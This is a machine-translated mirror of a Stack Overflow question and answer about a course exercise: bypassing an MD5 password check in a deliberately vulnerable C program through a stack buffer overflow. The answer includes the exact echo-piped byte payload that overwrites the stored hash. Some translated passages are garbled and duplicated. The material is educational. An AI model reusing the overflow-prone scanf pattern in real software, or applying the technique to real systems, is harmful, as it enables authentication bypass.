繁体   English   中英

基于堆栈的缓冲区溢出 - 使用具有有限输入的scanf在C中进行挑战

[英]Stack-based buffer overflow - challenge in C using scanf with limited input

作为安全性CS课程的一部分,我的课程被赋予了利用漏洞利用堆栈/缓冲区溢出来破坏密码检查的任务。 具有此漏洞的代码如下:

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <openssl/md5.h>

int main(int argc, char **argv) {
    char correct_hash[16] = {
        0xd0, 0xf9, 0x19, 0x94, 0x4a, 0xf3, 0x10, 0x92,
        0x32, 0x98, 0x11, 0x8c, 0x33, 0x27, 0x91, 0xeb
    };
    char password[16];

    printf("Insert your password: ");
    scanf("%29s", password);

    MD5(password, strlen(password), password);

    if (memcmp(password, correct_hash, 16) == 0) {
        printf("Correct Password!\n");
    } else {
        printf("Wrong Password, sorry!\n");
    }
    return 0;
}

我理解经典的“堆栈粉碎”原则(我认为),这里有一个明显的溢出漏洞,通过在提示时输入长度超过15个字符的密码,可以覆盖correct_hash数组的前14个字节。 但是,我不明白如何利用它来允许memcmp检查通过,完成挑战。 我发现/尝试过的一些事情:

  • password设置为等效于correct_hash不起作用,因为password使用MD5()进行哈希处理MD5()无论如何设置两者是不可能的,因为scanf会将一个唯一的ASCII NUL字符恰好插入到可用的30个空格中,这意味着两个数组永远不会是等价的。另外(据我所知) NUL字符不能插入scanf字符串的中间)。

  • 使用scanf覆盖最大字节数(将始终附加NUL字符)意味着correct_hash的最后3个字节将始终为0x00 0x91 0xeb 尝试随机生成一个16个字符的密码然后散列到具有这些最后3个字节/字符的东西(在计算上很容易,因为使用了MD5)不起作用,但是,由于使用了strlen(password) (在MD5()的调用中,只有在完成NUL字符的长度计数时才会给出值29而不是像16那样方便的东西。 这意味着,不是对16个字符的密码进行散列以产生预期的输出,而是对MD5()的调用将从password哈希16个字符,然后从correct_hash 13个字符, correct_hash产生不同的最终哈希值。

    • 为了解决这个问题,我相信一个人必须找到一个29个字符的字符串(称之为S),其中S的前16个字符哈希到字符串R由S的最后13个字符组成,后跟0x00 0x91 0xeb 我不确定通过随机MD5哈希计算找到这个是多么可行,但它并不像我的机会那样。

一些注释(在上面的解释中提到):

  • scanf限制为29个字符的字符串,但会附加一个ASCII NUL字符,允许覆盖总共30个字符( password数组中的16个,来自correct_hash数组中的14个)。

  • ASCII NUL字符不能通过scanf输入,因此调用MD5()strlen(password) MD5() (如果使用的是最大密码长度)将为29。

所以这里的问题是,我怎么能这样做呢? 我错过了一些非常明显的东西? 随机生成是可行的解决方案,甚至是唯一的解决方案吗?

解决方案必须使用缓冲区溢出(否则我想我可以做一些事情,比如预加载总是返回0的memcmp ),并且必须可以作为shell脚本执行(如果这有任何相关性)。

只是将评论合并到这里的答案:

问题的关键在于, scanf将乐意接受零字节作为字符串的一部分,并且不会将其视为空格(因此,不会停止将更多字节读入字符串)。

重定向文件或使用echo -ne "\\x00" | program echo -ne "\\x00" | program等。 重定向输入文件可能是此处的首选方式。

我使用的最后一个命令是: echo -ne "\\x49\\x5a\\x4e\\x52\\x48\\x49\\x41\\x56\\x5a\\x43\\x54\\x52\\x51\\x4c\\x4‌​3\\x00\\x81\\xae\\xf3\\xd‌​f\\xa2\\x45\\xb1\\x57\\x1‌​9\\xb3\\xa9\\xb8\\x7d\\x0‌​0\\x91\\xeb" | ./vulnerable echo -ne "\\x49\\x5a\\x4e\\x52\\x48\\x49\\x41\\x56\\x5a\\x43\\x54\\x52\\x51\\x4c\\x4‌​3\\x00\\x81\\xae\\xf3\\xd‌​f\\xa2\\x45\\xb1\\x57\\x1‌​9\\xb3\\xa9\\xb8\\x7d\\x0‌​0\\x91\\xeb" | ./vulnerable地方,第一组16个字节(直到并包括第一个\\x00 )是一个随机生成的字符串,当进行散列时产生第二组16字节,并以所需的\\x00\\x91\\xeb结尾。 最后3个字节都没有被复制,但是我把它们留下来显示字符串和哈希。

暂无
暂无

声明:本站的技术帖子网页,遵循CC BY-SA 4.0协议,如果您需要转载,请注明本站网址或者原文地址。任何问题请咨询:yoyou2525@163.com.

 
粤ICP备18138465号  © 2020-2024 STACKOOM.COM